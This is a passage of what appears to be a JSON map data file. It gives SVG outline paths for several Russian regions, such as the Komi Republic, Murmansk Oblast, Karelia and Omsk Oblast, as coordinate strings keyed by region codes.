,0.12627,2.5254,0.75762,4.2932,0.50507,2.1466,0.63135,3.283,0.12627,2.3991-0.50508,1.5152,0.12627,0.12627,1.894,1.2627,1.0102,2.1466,2.1466,5.3033,4.672,7.4499,4.672,6.4397,3.7881,5.177,3.0305,5.5558,3.283,2.7779,1.894,2.2728,0.25254h3.283l2.1466-1.0102,2.5254-2.3991,1.6415-1.2627,2.7779,0.25253,2.3991-0.12626,2.0203-0.63135,1.5152-0.88388,1.6415-0.37881,3.1567,0.12627,1.6415,0.25254-0.50508,1.5152-0.88388,1.1364-1.1364,0.63134-0.50508,1.894,1.2627,1.7678,1.2627,1.389,0.12627,1.894-1.1364,1.389-0.88388,0.25254-0.75762,1.389-2.0203,0.25254-2.3991-0.12627-2.1466,0.88388-2.5254,1.389-1.389,1.1364-3.0305-0.12627-2.1466-0.50507h-3.1567-2.0203l-1.0102,0.3788-1.389,1.5152-0.75762,0.88389-2.1466,1.6415-1.5152,0.50508h-2.3991l-2.3991-0.25254-1.5152,0.50508-2.9042,2.0203-2.2728,1.2627-1.5152,1.0102-1.5152,0.3788-1.2627-0.12626-1.2627-1.0102-0.12626-1.894-0.63135-1.389-1.6415,0.88388-1.5152,1.389-1.0102,1.2627-0.88388,0.50508-1.2627,0.50507-0.75762,0.37881-0.12627,1.7678-0.3788,1.7678-0.63135,1.389-0.88388,1.1364-1.0102,1.6415-1.894,1.6415-1.6415,1.389-1.2627,0.75762-2.7779,3.283-1.894,2.6516-1.1364,3.0305-0.50507,1.6415-1.5152,1.6415-2.0203,0.88388-1.5152,0.63134-1.7678,1.0102h-2.2728l-3.1567-1.0102-3.1567-1.6415-4.4194-2.1466-0.75761-0.3788-2.5254,0.50507h-3.283l-3.0305-0.88388-2.9042-1.389-1.0102,0.25254-1.6415-0.12627-1.5152-1.2627-2.2728-2.3991-1.894-0.88388-0.63135-1.5152-2.2728-3.0305-5.8084-1.1364-1.389-0.63134-1.7678,0.63134-0.75761,0.75762v0.75761l0.37881,0.88389v1.6415,1.0102l-0.50508,0.3788-1.389-0.63134-0.88388-0.37881-1.1364,0.25254-1.5152,0.88388-1.5152,0.50508-1.1364-0.25254-0.88389-1.389-0.88388-0.63135-2.2728-0.88388-6.0609-1.1364-1.2627,0.25254-1.1364,1.1364-0.63135,1.5152-1.1364,0.37881-1.6415-1.389v-1.1364l1.0102-1.389,0.50507-0.75761-0.50507-1.0102-1.1364-1.0102-1.1364-1.0102-0.3788-0.75761,1.5152-1.2627,1.1364-2.5254,1.6415-1.0102,1.6415-0.3788,1.894-1.2627,0.88388-2.3991,1.2627-1.2627z","name":"Komi Republic"},"mu":{"path":"m217.31,136.92,1.1364-1.5152,1.5152-0.75761,2.9042,0,4.2932,0.12626,2.1466-0.50507,2.5254-1.6415,0.88388-2.0203,0.12627-3.5355,1.5152-3.4093,1.0102-1.0102,4.7982,0,2.3991-0.63134,1.0102-1.2627,1.7678-0.12627,2.3991,1.0102,3.0305,1.894,2.2728,1.894,2.6516,0,2.2728-0.25253,0.25254,2.3991,1.894,0.3788,1.7678,1.0102,0,2.2728,0,1.7678-1.0102,0.63134-1.5152-0.3788-0.75761-1.1364-0.25254-0.63134-0.88388,1.0102-0.25254,0.63135,0.50508,1.1364,1.1364,0.88388,0.50507,0.75762-0.3788,1.0102-1.0102,0.63134,0,0.75762,1.1364,1.2627,0.88388,1.5152,0.88388,1.7678,2.0203,2.1466,0.75761,1.7678,0,1.7678,0,1.1364-0.50507,1.1364-0.25254,2.0203-0.12627,5.5558,0,5.5558-0.75762,1.389-0.25253,1.894,0.63134,0.88389,0.63135,1.0102-0.12627,4.0406,0,3.5355-0.63135,1.389-1.7678,1.1364-0.88389,0.88388,0,1.0102-0.25254,0.88389-1.1364,0.88388-2.7779,0.75761-3.6618,0.12627-3.1567,0.50508-1.6415,0.37881-2.5254-0.50508-2.0203-0.75761-1.894-1.389-1.894-2.2728-1.7678-2.2728-1.1364-1.894-0.63135-2.2728-0.3788-2.3991-1.2627-2.6516-1.1364-2.0203-0.3788-1.6415-0.37881-3.9143,0-1.7678,0-1.389-0.88388-0.88389-0.12627-2.9042,0-2.1466,0.75761-1.5152,0.12627-1.1364,0-1.5152-0.88388,0-0.63135,0.88388-0.88388,1.389-0.75762,1.894-0.25253,0.63135-3.5355,0-2.6516-0.25254-0.75761-1.5152,1.389-2.0203,1.1364-0.75761,0.25254-1.0102-1.7678-2.2728-1.5152-1.7678-1.2627-2.7779-1.2627-1.2627z","name":"Murmansk Oblast"},"kl":{"path":"M216.94,136.91l-2.28,1.53,0.12,1.62-1,2.28-1.9,2.04-1.88,0.87-4.31-0.13-0.88,1-2.28,2.16h-2.91l-2.4,0.38-0.13,4.03-0.62,1.9-2.91,0.38-1.87,0.25,0.12,1.4,0.88,1.5-1.78,1.29-1.25,0.5-3.41-0.91-1.66,1.16-0.37,2.9-0.13,4.16-1.25,2.28-2.65,1.62-3.41,1.16-8.72-0.12-3.53-0.91-5.19-0.75-4.28-0.75,0.88,1.87-0.13,1.54,0.07,0.53-0.94,5.65-2.53,1.5-2.03,3.32-2.91,1.87-0.13,1.66,2.66,1.25,1.91,0.75,1,2.4,2.9,0.25,5.07-0.75,1.65-0.9,2.25,0.53,1.78,1.37,1.38-1.62,1.12-0.78,1.78,4.69,1.5,0.62,2.91,1.53,0.06,0.69-0.12,2.69,0.06,1.78-1.63,1.53,1,1.12,2.29,0.5,1.75-0.62,2.53-1,0.62-0.5,1.91,1.5,1,1.9,1.03,1.88,3.16,0.25,3.28-3.03,0.75-1.5,1.25-1.38,2.4-1.28,2.03-1.75,0.5-1.15-0.37-1.25-1.91-0.63-1-1.03,0.13-1.63,1.37-2.4,1.78-1.91,1.66-1.87,1.25-2.16,1.38,0.25,1.78,1.53h1.9l0.88-0.53,0.12-2,1.5-2.03,0.25-1.75-0.25-3.16-0.5-1.53,0.63-1.78,1.4-0.87,1.38-0.63,3.03-2.53,0.5-1.13,0.53-1.28h1.38l3.4-0.62,2.16-1,1.5-1.28v-1.88-3.4l0.25-2.54,1.03-0.87v-1.16l-0.12-2-0.78-1.15-2-0.38-1.41-0.37-0.63-0.88v-0.75l0.63-1.15,1.28-1,0.75-0.63-0.38-1.03-1.65-2.37-1.88-2.29-1.4-2.15-1.75-2.53z","name":"Republic of Karelia"},"vo":{"path":"m185.36,208.76c0.12627,2.5254-1.389,5.0508-1.389,5.0508l-1.5152,1.894s-0.3788,1.0102-0.3788,1.7678c0,0.75762,0.12626,1.389,0.12626,1.389s0.63135,1.389,1.894,2.1466c1.2627,0.75761,2.0203,2.7779,2.0203,2.7779l1.0102,1.894,1.5152,1.2627,1.2627,1.0102,1.1364,1.894,1.2627,0.37881,3.1567,0.50508,1.5152,2.2728,1.0102,1.894,1.7678,0.63135,0.25254,0.63135,1.0102,2.2728,1.2627,0.75761,2.6516,0.25254,1.5152,0.12627,0.50507,2.7779,1.2627,2.0203,2.7779,1.389,1.389,0.12627,1.0102-0.63134,1.389,0.12627,1.0102,0.50507,0.75761,1.0102-0.63134,1.5152-0.75762,1.389,0.25254,0.75762,1.2627,1.1364,0.75761,0.50508,1.0102,0.50507,0.3788,0.63135v1.0102l-1.5152,1.5152-2.0203,0.63135-2.0203,0.75761-4.2931-0.25254-1.2627,0.88389,0.25253,1.1364,0.88389,1.2627v2.6516,1.1364l-1.0102,1.1364-0.75761-0.63134-1.1364-1.0102-0.37881-1.5152-1.0102-0.12626-1.6415,1.0102-1.0102,1.0102h-1.7678l-3.0305-1.5152-2.1466-2.1466-2.0203-1.1364-1.894-1.6415-2.0203-2.7779v-1.894l-1.894-2.7779-2.5254-2.2728-1.5152-2.0203-1.2627-1.7678-0.63135,0.75761-1.6415,0.12627-1.6415-0.25254-2.2728-1.894-0.88388-0.50508-1.2627,0.63135-2.7779,1.7678-0.63135,0.37881-1.2627,0.12627-0.88388-0.50508-0.50508-1.2627-0.63134-1.894,0.25254-4.0406-0.50508-2.5254-0.50508-1.2627-1.2627,0.12627-1.2627,0.37881-0.88388-0.25254-1.389-1.2627-1.6415-1.7678-4.0406-1.0102-1.2627-1.1364-0.50508-1.0102,0.63135-2.0203-0.50508-0.88388-1.0102-0.75761-1.1364-0.63135-1.894-0.37881-0.25254-0.12627,0.50508-2.7779-0.50508-1.6415-0.63134-1.2627-0.88388-0.88389-0.37881-0.50507-0.12627-1.0102-0.25254-1.5152,0.63135-0.88388,0.75761-0.88388,1.389-0.25254h1.6415l0.88388,1.2627,1.0102,0.88388,1.1364-0.50507,0.25253-1.1364,1.2627-0.25254,1.1364-0.63135,0.75761-1.1364,0.12627-1.5152,3.283-3.6618,1.2627-0.88388h1.7678l2.0203-0.37881,1.389-0.75762,0.88388-0.63134h1.1364l1.5152,0.88388h1.2627l0.88389,0.75762,0.50507,0.88388,1.389,0.63134h1.1364l1.389-0.3788,1.5152-0.50508,1.1364-0.37881,0.63135-0.25253,0.88388,0.12627,1.0102,0.88388,1.2627,1.6415,0.50507,1.2627z","name":"Vologda Oblast"},"ar":{"path":"M391.06,151.03l-3.56,1.06-2.16,0.91-3.56,0.19-1.59,0.87s-1.26-1.07-1.97-1.25c-0.72-0.18-0.91,1.1-0.91,1.1l-1.78,2.65-2.69,1.63-3.03,0.87-2.31,1.78s-2.15,0.37-3.22,0.72c-1.07,0.36-2.5,0.19-2.5,0.19l-1.59,0.72,1.06,1.78-2.16,1.25,0.38,0.72,1.25,1.44,1.78,1.59,1.78,1.78,0.91,1.63,1.4-0.72,0.91-1.97,2.16-0.72,1.25-0.53,1.93-0.19,0.91-1.59h1.97l1.25,0.87,1.59-1.25,1.1-1.25,2.65-0.15,0.72-0.57,3.41,0.72,1.78-1.06,0.34-1.44,2.69-0.34s1.07-0.01,2.5-1.44l0.72,1.06,2.84-0.68s1.98-0.19,2.69-0.19,3.03-0.38,3.03-0.38h2.31l2.35,1.25,1.78,0.91,1.25-0.72,0.72-0.87,4.28,1.06,1.97-1.44,3.22,0.19,4.09-0.72,1.25-1.59,1.97-2.88s-1.26-0.89-1.97-1.25-2.69-1.44-2.69-1.44l-3.22,0.57-4.43,1.59-4.32-0.91-2.5-0.15-3.18-0.72-1.63-0.91-1.59-1.78-1.44,0.72-1.97,1.06-2.5-0.15-3.22-0.91-2.5-0.72zm-35.53,14.47l-2.5,0.53-1.78,1.63-2.5-0.38s-1.44-1.06-1.44-0.34v1.78l0.72,1.59-2.12,1.25-2.88,1.1-1.06,1.25h-2.16l-0.72-1.1-1.59-0.87-2.69,2.12-0.15,3.03,1.93,2.69,1.44,2.16s1.26,2.14,0.91,3.03c-0.36,0.89-4.28,2.5-4.28,2.5l1.06,2.5,1.25,1.59v1.97l2.31,0.53,2.88,1.97,2.12,2.31,1.97,0.38s1.06-1.07,1.06-1.78c0-0.72-0.15-4.48-0.15-5.38,0-0.89,1.59-8.37,1.59-8.37l0.34-1.44,4.13-2.69s0.88-1.07,2.31-1.97c1.43-0.89,4.66-3.03,4.66-3.03l1.78-1.4s0.71-1.64,0-1.82c-0.72-0.17-1.62-0.53-2.16-1.25-0.53-0.71-3.03-2.65-3.03-2.65l-1.25-1.44zm-132.28,14.34l-0.63,0.63-2.28,0.25-0.87-0.13-1.78,0.91v1.38l-0.63,1.65-1.15,0.75-0.13,1.38,0.91,0.78,0.87,0.87-0.12,1.25-1.25,1.28-1.66,1.5-1.65,0.13-1.38-1-0.62-1.53-1.41-2-1.25-1.03-2.03,0.53h-1l-2.41-1.66-1,0.38-1.66,2.15-1.37,2-1.66,1.78-1.25,2.66,0.38,1,1,1.28,1.78,0.25,0.12,1-0.12,1-2.78,2.41-2.16,0.87-1.87,3.03-2.53,2.53-2.91,0.5-1.13,0.13-0.5,0.91-0.28,1.87-0.87,2.16-1.75,2.03-0.13,1.87,1.25,2.79,1.5,1.28,2.04,3.53,3.78,4.15,1.28,0.75,3.15,0.38,0.38,0.65,1.37,1.38,1.66,2.53,1.38,0.5,0.5,1.66,0.9,1.5,3.28,0.5,1.63,0.25,0.78,1.4,0.37,2.13,0.75,1.15,2.41,0.88,1.5,0.75,1.28-0.5,1.13-0.25,1.37,0.75,0.91,1.66-1.03,1.25-0.13,1.53,0.66,1,1.25,0.75,1,1.03,1.03,0.62,0.75-0.37,1.25-0.25,1.41,0.5,1,1.37,0.5,0.91,0.24,2,0.26,1.03h0.65l0.88-0.16,0.87-0.5,0.63-0.37h1.03l0.75,0.75,0.62,0.91,0.88,0.25,1.4,0.25,1.88-0.5,1.41-0.5,1.37-1.79v-0.87l-0.37-0.66-0.26-0.5,0.26-1,0.5-0.5,2.78-1.28,2.4-1,1.66-1.12,1.87-0.78,0.5-0.75,0.13-1.38-0.75-1.53-1.13-0.87-2.15-0.13h-1.5l-1.53,0.5-1,0.75h-1.28l-0.63-0.12-1-1.13-1.53-0.37-0.75-0.38,0.25-1.53v-1.13l1.66-0.5,0.74-0.78,0.76-0.87,0.62-1.63,0.53-0.37,1.5-0.53,1.78,0.25,1-0.5-0.12-1.38-0.5-0.87-0.5-1.66,0.25-0.88,0.87-0.62,1-0.53,1.41-0.63,1.37-0.75,0.38-0.75v-0.5l-0.88-1.9-0.75-1.41-0.9-1.62-1-0.75-0.63-1.28,0.38-1.88,0.62-0.5h1.28l0.88,0.38,1,0.87,1.41,2.16,2.65,2.37,1,0.91s1.65,0.49,2.28,0.75c0.63,0.25,1.38,1,1.38,1l0.5,0.62,0.37,1.03,0.53,1,1,0.63,1.38,0.37h1.41l1.12,0.53,0.88,0.88,2.03,0.5h1.37l0.28,0.88,1,0.53,1,0.25,0.88-0.54,0.78-0.74-0.13-1.26-1.03-1.03,0.38-0.87,0.78-1,0.37-1.53-0.25-1-1.15-0.75-0.13-1.28,0.91-0.88,3.15-3.28,1.88-1.12,1.91-1.79,0.25-1.25-0.63-0.5-1.65-0.9-1.63-1-2.16-0.25-1.25,0.62h-1.4l-1.5-1.12-1.03-1.78-0.75-1.75-1.5-3.16-1.41-2.28-0.75-1.41-0.88-2.25-0.12-1.15-2.41,0.25-0.75-0.63-1.53-1.12s0.25-0.5,0.88-0.5,1.02-0.41,1.53-0.66c0.5-0.25,0.25-0.87,0.25-0.87s-0.37-1-0.88-1.76c-0.5-0.75-0.77-0.77-1.28-1.15-0.5-0.38-0.75-1.75-0.75-1.75l-1.25-0.41-2.03-0.5-1.66,0.13-1.5,0.53-1.9,0.12-0.88-0.65-1.62-1-2.03-0.13h-2.78-2.53l-1.63,0.75-0.91,0.75-0.37,1.66-1.13,1.37-1.12,2.04-1.28,0.87h-2.41c-0.63,0-1.75-1-1.75-1l-1.03-1c-0.51-0.51,0-2.03,0-2.03s0.13-1.53,0-2.16-1.5-1-1.5-1l-2.03-0.87s1.65-0.78,2.16-1.16c0.5-0.38,0.37-1,0.37-1v-2.28c0-0.63-0.25-2-0.25-2l-0.75-1.91zm110.16,1l-0.19,1.1,0.53,1.78,1.44,0.72,0.53-0.72v-1.63l-0.38-1.25h-1.93zm-28.22,6.19l-2.35,0.78-1.4,2.07-2.88,1.43-0.25,1.07,1.78,1.43,2.13,0.97,3.22-0.44,3.5-0.9,0.25-1.6-0.78-1.96-1.1-1.88-2.12-0.97z","name":"Arkhangelsk Oblast"},"tu":{"path":"m299.02,389.7,2.0536,0.80357,2.1428,1.1607,1.6072,1.3393,1.6071,1.5179,1.7857,0.71428,2.3214,0.17858,0.89286-1.0714,1.6071-1.875,0.53572-2.3214,0.625-2.1429,2.2321-1.7857,1.875-0.44643,1.25-2.5,1.6964-1.0714,2.9464,0.26786,1.6071-1.6072s0.625-2.3214,0.53571-2.6786c-0.0893-0.35714-0.80357-2.5893-0.80357-2.5893l-0.89285-1.875-0.625-3.3036-0.71429-2.2322v-1.7857l1.5179-1.9643,2.2321-2.5,1.4286-1.4286,3.125-0.26786,0.35714,1.4286-0.89285,1.6071-1.6964,1.6964-0.17857,1.25,2.5,0.35714,4.0178,0.35714,1.9643,1.6072,3.0357,1.7857,1.5179-1.25,2.9464-0.17857,2.1429,1.4286,3.3928,1.0714s2.5-0.98214,2.9464-1.1607c0.44643-0.17857,3.5714-0.44642,3.5714-0.44642l0.89286-0.98215-0.53572-1.0714-1.6964-1.25-2.9464-2.2321-1.0714-1.4286s-1.6964-0.44643-2.3214-0.44643-2.6786-0.80357-2.6786-0.80357l-0.17857-2.6786-0.26786-2.4107-1.3393-1.3393-0.44642-2.2321-0.53572-3.5714-0.35714-0.89286-2.4107-2.7679-1.1607-0.71428s-2.6786-0.26786-2.9464-0.26786h-5.0893l-0.98215-0.26786s-0.625-1.5178-0.625-1.875c0-0.35714-0.98214-1.5178-0.98214-1.5178l-1.875-0.35715-1.25,1.25-2.4107,1.875-2.1429,0.89286h-3.0357l-4.6428,0.0893-2.9464,0.26785s-1.4286,0.53572-1.7857,0.625c-0.35714,0.0893-4.375,0.0893-4.375,0.0893l-3.0357-0.0893-1.4286,0.35715-0.89286,1.5178-0.53571,2.3214-0.89286,1.3393-2.3214,0.71428-1.6071,0.53572-1.5179,0.35714-1.7857-0.17857-1.3393-0.625-1.4286,0.17857c-0.35714,0.17857-1.6964,1.0714-1.6964,1.0714l-1.1607,2.1429-0.35715,2.4107-1.6071,2.3214-2.1429,2.5893-0.98214,1.5179,0.26786,1.25,0.71428,1.3393,1.5179,1.25,1.25,1.6071,1.6964,1.875,1.0714,1.6964s3.0357,0.98214,3.0357,1.5179c0,0.53571,1.6964,2.9464,1.6964,2.9464l0.625,1.875,1.6071,1.4286,1.875,0.71428,1.0714,0.80357,1.4286,2.3214,1.0714,1.4286v1.6072z","name":"Tyumen Oblast"},"ne":{"path":"m260.27,198.54,1.6071-0.89286,1.4286-1.1607,2.0536-1.0714,1.1607-1.25,0.625-3.3929,1.1607-1.6071s1.4286-0.80358,2.4107-1.0714c0.98215-0.26786,2.3214-0.26786,2.6786-0.26786,0.35714,0,1.5178-0.98214,2.0536-1.5179,0.53571-0.53571,3.0357-2.5,3.0357-2.5l0.71429-1.0714v-2.2321l1.25-1.9643s0.89285,0.17857,0.98214,0.625c0.0893,0.44642,0.26786,1.5178,0.625,1.6964,0.35714,0.17858,1.875,1.4286,1.875,1.4286l1.6964,1.1607,0.98214,0.89286-0.0893,1.3393-0.625,1.4286-0.44643,1.7857v1.6964l-0.26786,1.0714-0.44643,0.80357-0.26786,1.25-1.25,0.71428-1.3393-0.625-1.25-0.98214-0.625-0.80357-2.3214-0.53572h-3.0357c-0.44643,0-2.1429,1.1607-2.1429,1.1607l-0.80357,1.4286,0.17857,1.0714s0.53571,0.89286,0.625,1.25c0.0893,0.35714-0.71429,1.1607-0.71429,1.1607l-0.89285,1.6072s-0.26786,1.1607-0.0893,1.4286c0.17857,0.26785,0.625,0.80357,1.1607,1.25,0.53572,0.44643,1.875,1.5178,2.1429,1.6964,0.26786,0.17857,1.875,0.89285,1.875,0.89285s2.3214,0.17857,2.8571,0.17857c0.53572,0,1.9643-0.26785,1.9643-0.26785s1.5179-0.98215,1.875-1.1607c0.35714-0.17857,1.9643-1.1607,1.9643-1.1607s1.0714-0.44643,1.4286-0.35714c0.35714,0.0893,1.3393,0.98214,1.3393,0.98214l2.3214,0.17857s0.35714-0.44643,0.71429-0.80357c0.35714-0.35714,0.53571-0.71429,0.98214-0.35714,0.44643,0.35714,1.875,1.3393,1.875,1.3393l1.7857,0.44643h5.0893l2.5893,0.0893s0.80357,0.80357,1.25,0.89285c0.44642,0.0893,3.3928,0.53572,3.3928,0.53572l1.5179,1.4286,0.71429,1.9643,1.1607,0.17858,0.71429-1.5179,0.89285-1.0714,1.875-0.17857,0.89286,0.53571,2.1429,0.17857,2.5893,0.44643-0.44643,0.80357-0.98214,0.80358-1.6964,0.625-0.80357,0.98214-0.71428,0.98214-1.6964,0.71429-0.26786,1.0714,1.3393,0.98214,1.25,0.53571,0.625,2.0536,0.71428,0.35715,1.6964-0.80357s1.3393-0.89286,1.6071-0.89286c0.26786,0,3.3036,0.53571,3.3036,0.53571l2.6786,1.3393,1.5178,1.3393,1.4286,0.89286,4.4643,0.17857,0.71429,0.71429,1.5178-0.26786,2.5893-0.35714,1.7857-1.3393,0.625-1.7857s0.53572,0.625,0.53572,1.1607c0,0.53572-1.6964,2.7679-1.6964,2.7679l-0.71429,1.7857v1.0714l-1.1607,1.1607-0.89286,0.625-0.44643,0.98214,0.44643,0.80357h1.4286l0.80357-1.6071,0.17858-0.53572,1.5178-0.0893,1.5179,1.25,2.3214,0.35714,1.1607-0.89286,1.3393-1.1607,0.53571-0.89286-0.71428-1.0714-0.35715-1.4286,1.5179-1.1607,0.71429-1.875-0.53572-1.6964-1.25-0.80357-0.71428-3.3929-0.26786-3.125s-0.26786-0.89286,0.0893-1.25c0.35714-0.35714,2.2321-1.6964,2.2321-1.6964l1.3393,0.17857,1.1607,1.4286,1.0714,1.9643,0.35714,2.1429-0.89286,3.3036,0.89286,1.0714,2.8571,2.4107,2.7679,2.8572,3.3929,2.5893,2.1428,3.3036,1.6964,3.3929,0.80357,1.875,0.17858,1.6071-1.0714,1.1607-0.98215,2.0536-0.98214,1.5179h-2.5c-0.44643,0-3.6607-0.17858-3.6607-0.17858l-2.1429,0.98215-2.7679,0.71428h-3.0357l-1.7857-0.17857-2.4107,1.875-3.0357,2.4107-1.6072,0.53571-2.7678-0.0893-2.0536-0.53571-4.2857-2.4107-23.036-13.929-7.6786-6.875-1.25-1.1607v-1.3393l-0.98214-0.625-2.4107,0.625-5.0893-0.44642-5.625-0.98215-5.1786-0.80357-3.125-0.26786-4.1071-2.3214-2.0536-0.44643-1.7857,0.625-1.7857-0.26786-1.5179-1.7857-4.2857-8.4822-0.98215-2.4107z","name":"Nenets Autonomous Okrug"},"om":{"path":"m358.39,368.89,0.71428,2.5-1.25,1.6071-1.25,1.9643,0.53572,1.6071,0.71428,1.9643-1.25,1.9643s-1.0714,1.25-1.0714,2.1429c0,0.89286,0.17857,3.0357,0.17857,3.0357l1.7857,1.6072,0.35714,2.3214-0.53571,3.3929-1.9643,0.89286-1.25,1.6071,0.71429,2.3214-0.35715,1.9643-3.9286,0.17857s-1.4286-0.89286-2.3214-1.0714c-0.89285-0.17857-3.3928,2.8571-3.3928,2.8571l-2.5,2.1429-0.89286,4.2857,0.53571,0.89286,1.9643,2.1429,0.35714,2.6786-1.6071,2.6786-1.0714,1.7857-0.17857,3.0357-2.5,2.1429s-2.3214,1.0714-3.0357,1.0714h-4.8214l-1.6072-0.71428c-2.1428,1.4286-3.75,0-3.75,0l-1.6071-0.71429-1.9643-0.35714h-1.0714l0.35714-1.7857,1.7857-1.0714,0.71429-1.4286-2.3214-1.25-2.1429-2.3214-1.9643,0.89285-0.89286-0.71428v-3.75l-1.4286-0.89286-2.8571,0.35714-2.8572-0.89285-0.89285-0.53572-0.17857-2.1428,2.1428-2.6786,0.71429-2.3214,0.35714-2.6786v-4.1071l0.71429-2.1429,1.4286-3.9286,1.6071-2.5,2.3214-0.53571,1.0714-1.25,1.0714-1.7857,1.6071-0.89285h2.6786l1.6071-1.4286,0.89286-3.9286-1.4286-3.2143-0.71429-3.0357-1.25-3.3928,0.35715-1.6072,4.4643-4.6428,1.0714-0.89286h2.6786l0.17857,1.6071-1.25,1.6072-1.7857,1.25-0.17857,1.4286,1.4286,0.35714,3.2143,0.35714,2.3214,0.17857,2.1429,1.4286,1.9643,1.4286,1.0714,0.35714,1.0714-0.71429,1.9643-0.35714,2.3214,0.35714,3.5714,1.6072h2.5l2.1428-1.0714h2.1429z","name":"Omsk Oblast"},"ht":{"path":"m329.64,260.32,0,3.75-0.53572,3.2143-1.6071,2.3214-2.3214,2.3214-0.89286,1.25,1.9643,1.9643,1.7857,2.3214,5,1.9643,4.8214,0.17857,3.5714,1.4286,2.3214,2.6786,0,1.4286-2.1429,1.7857,1.4286,1.4286,2.3214,2.8572,1.9643,1.0714,2.1428-1.0714,1.7857-0.89286s1.6071,0.71429,1.9643,0c0.35715-0.71429,0.89286-2.1429,0.89286-2.1429l1.6071,2.1429,1.4286,2.8571,1.9643,1.6072s0.35714,2.1428,0.35714,2.8571v4.6429l1.9643,3.3928s0.35714,0.17857,0.71429,0.89286c0.35714,0.71429,0,2.1429,0,2.1429l1.0714,1.25,2.5,0.53571,3.75,0.71429,1.4286,0.89285s2.8571,2.1429,3.5714,2.6786c0.71429,0.53571,1.25,1.6071,2.1429,1.9643,0.89286,0.35714,3.5714,0.53572,3.5714,0.53572l2.8571,0.35714,0.89286,1.0714s0.35714,1.6071,0.71428,2.6786c0.35715,1.0714,1.4286,1.7857,1.4286,1.7857l3.0357,0.17857,1.7857,0.53572,0.35715,1.9643,0.35714,1.4286,1.0714,2.5c1.9643,0.17857,2.5,0.17857,3.5714,0.17857s3.3928,1.0714,3.3928,1.0714l1.9643,0.71428,2.8571,0.35714,2.8572-1.0714,3.2143-1.9643,3.0357,0.53571,1.9643,2.6786s0.35714,1.7857,1.0714,2.1428c0.71429,0.35715,2.8571,0.53572,2.8571,0.53572l2.3214,1.6071,0.71429,2.3214,1.9643,0.71428,2.6786-0.89285,1.9643,1.6071,1.0714,3.0357v2.3214l-0.35714,1.6072-0.53572,1.9643,3.0357,1.9643,2.5,1.7857,0.35714,2.3214v1.0714l-3.75,1.7857-2.6786,0.53572-3.2143,0.17857-3,0.15-1.61-1.07-1.7857-0.71428-2.3214,0.35714-2.3214,1.6071-2.6786,1.0714-2.1429-1.9643s-2.8571-0.35714-3.5714-0.35714c-0.71429,0-2.3214-1.7857-2.3214-1.7857l-0.89286-1.25-3.9286,0.17857h-3.5714l-1.6071-2.5s-1.25-0.89286-2.1429-0.89286c-0.89286,0-4.4643-1.25-4.4643-1.25l-2.5-2.3214h-1.25c-0.71428,0-2.3214,1.25-2.3214,1.25l-2.5,2.1429-1.7857,2.6786-2.8571,2.5-1.6071,3.3929-4.4643,1.6071-3.5714,0.89286-0.35714,2.1429-0.71429,2.1428-2.6786,1.25h-2.8571l-5.8929-5.5357-3.9286-0.89286-1.0714-1.4286-0.53571-4.1071-1.0714-1.25-1.0714-5.3572-0.53571-1.7857-3.5714-3.2143h-5.5357l-3.0357-0.35714-1.9643-2.8571-1.6071-0.53572-4.4643,3.0357-3.3929,0.71428h-5.1786l-5,0.71429-4.2857,0.53571h-3.5714l-1.4286-0.17857-0.53571-2.8571-0.35714-3.2143,0.89285-3.2143-0.89285-3.2143-2.3214-2.1428-1.0714-0.89286-1.0714-1.0714,1.25-2.6786,1.4286-2.3214-0.17857-2.1429-0.71429-3.2143,0.71429-5.5357,1.4286-1.7857,1.4286-2.1429-0.71428-2.3214-1.0714-3.5714-1.9643-2.6786-2.3214-3.3928-3.3928-2.1429-1.7857-1.9643-1.0714-2.6786,3.3929-2.1429,1.6071-2.6786,2.3214-4.8214,2.1429-2.6786,2.5-1.9643,3.5714-3.3929,1.6071-1.7857,1.7857-3.3929-0.17858-1.7857,0.89286-1.0714,2.1429-1.0714,1.4286-1.9643,1.6071-1.0714,1.25,0.17857,0.89286,2.3214,0.35714,1.0714,1.4286,0.35714,2.5-0.71428,3.0357-1.6071,1.4286-1.25,1.25-1.0714,2.5-0.53572z","name":"Khanty–Mansi Autonomous Okrug"},"ya":{"path":"m366.25,234.25,1.4286,2.6786,1.6071,1.7857,1.6072,2.6786,1.0714,3.0357,0.89286,2.8572,3.0357,0.17857,1.7857-1.6072,1.4286-1.25-0.53571-3.2143s-0.89286-1.4286-0.53572-2.3214c0.35715-0.89286,1.7857-2.5,1.7857-2.5v-2.3214l-2.1429-1.6071-1.25-2.5s0.71429-1.6071,1.4286-1.9643c0.71429-0.35714,3.75-2.3214,3.75-2.3214s1.6071-3.75,1.9643-4.4643c0.35714-0.71429,0.35714-4.8214,0.35714-4.8214l0.89286-1.4286,7.5-2.1429,4.8214-3.5714,5.7143-6.0714,3.2143-2.1429,2.1428-0.71429,1.7857,2.3214,3.3928,0.35714,1.7857,1.25,1.0714,2.6786,0.17857,1.7857-0.89286,3.75-2.1429,2.6786-2.3214,2.8571-3.0357,1.6072-1.25,1.0714-0.35714,1.9643,1.0714,2.1429,0.17857,2.8571-0.89286,2.8571-2.1429,2.6786-1.7857,3.2143-2.6786,4.4643-1.25,3.5714-0.89286,2.1429-0.17857,2.5,0.35714,2.6786,0.71429,2.3214-0.71429,1.4286-3.0357,2.1429-1.0714,3.2143-0.89286,3.2143h-3.2143l-2.3214,1.25-2.1429,3.3929-3.5714,0.53571-2.3214,1.25-1.4286,1.4286h-3.5714l-1.4286-1.0714-1.0714-2.6786-0.71429,0.53572v1.6071l-1.9643-1.4286-0.71428-1.9643-1.0714,0.71429-0.17857,1.9643,1.7857,2.1428,2.5,2.1429,2.5,1.25,3.2143,1.0714,2.1429,1.25,2.1428-0.89286,3.5714-1.7857,3.0357-0.71429,3.75-1.0714,2.3214-3.0357,3.2143-2.6786,3.3929-1.6072,2.1428-1.7857-0.17857-2.1429-0.89286-2.3214-0.17857-1.7857,2.1429-2.1429,4.2857-0.89285h3.3929l1.4286,1.4286,1.25,3.0357v2.8571,3.0357l-1.6071,1.4286-1.25,2.5,0.17857,3.5714,1.7857,1.25,3.2143,0.71428,2.1429,2.8572,1.9643,3.2143,0.53572-0.71428-0.53572-4.1072-2.5-3.2143-3.75-1.0714v-2.8571l2.3214-3.0357s1.7857-0.35714,1.9643-1.0714c0.17857-0.71428,0.17857-3.5714,0.17857-3.5714l-0.89286-3.9286-2.6786-2.6786-2.6786-3.2143-0.89286-1.4286h-2.1428s-0.53572,1.25-1.4286,1.25c-0.89285,0-2.6786-1.25-2.6786-1.25l-1.6071-1.0714-0.53571-2.5,1.4286-3.75,2.3214-3.2143,2.1428-2.6786,3.0357-1.25,0.17857-4.4643-0.17857-3.0357v-3.0357l0.17857-2.3214,1.7857-2.3214,1.4286-1.4286,2.1429